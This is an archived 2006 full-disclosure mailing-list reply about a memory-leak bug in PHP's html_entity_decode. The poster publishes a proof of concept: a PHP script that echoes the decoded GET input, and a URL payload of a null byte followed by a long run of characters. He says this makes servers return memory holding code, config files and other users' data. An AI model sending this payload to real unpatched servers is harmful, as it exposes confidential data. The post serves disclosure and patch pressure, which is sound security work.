BugTraq
Re: [Full-disclosure] Critical PHP bug - act ASAP if you are running web with sensitive data Mar 28 2006 06:24PM
Stefan Esser (sesser php net) (1 replies)
Re: [Full-disclosure] Critical PHP bug - act ASAP if you are runningweb with sensitive data Mar 28 2006 08:45PM
Tõnu Samuel (tonu jes ee)
Stefan Esser wrote:

>The bug is a binary safety issue in html_entity_decode. A function that
>is not usually used on user input, because user input is usually not
>expected in HTML format and then decoded. Even if the function is used
>on user input it can only leak memory to a potential attacker if the
>decoded user input is send back to the client.
>
>The bug was found in late February by one of the japanese PHP developers
>and was fixed in CVS one day later. Because the bug is a local memory
>leak it was not considered top critical and is among the usual bugfixes.
>PHP 5.1.3-RC1 which was released in the beginning of March already fixes
>this issue.
>
>
Nice! I was really nervous already as I got bombed with e-mails and I
really did not knew much more than was discovered. Meanwhile I am bit
disappointed that we had nearly month such a bug in wild and software
distributors like SuSE in my case did not published patches. I think as
long enough time passed and I hope distributors maybe need to see it - I
publish exploit. Sorry, this was discovered independently and for me it
looks like very serious problem.

Script is:
<?php

$foobar=html_entity_decode($_GET['foo']);
echo $foobar;

?>

Running it with url:

http://hostname/index.php?foo=%00sssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssss!
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssss!
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

Returns chunk of memory with length equal of string supplied. But
instead of k-s you see data like PHP code, PHP ini file, user data, Web
pages served to other users and such.

There are different PHP applications are vulnerable to this exploit but
this is not their fault.

Tõnu

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus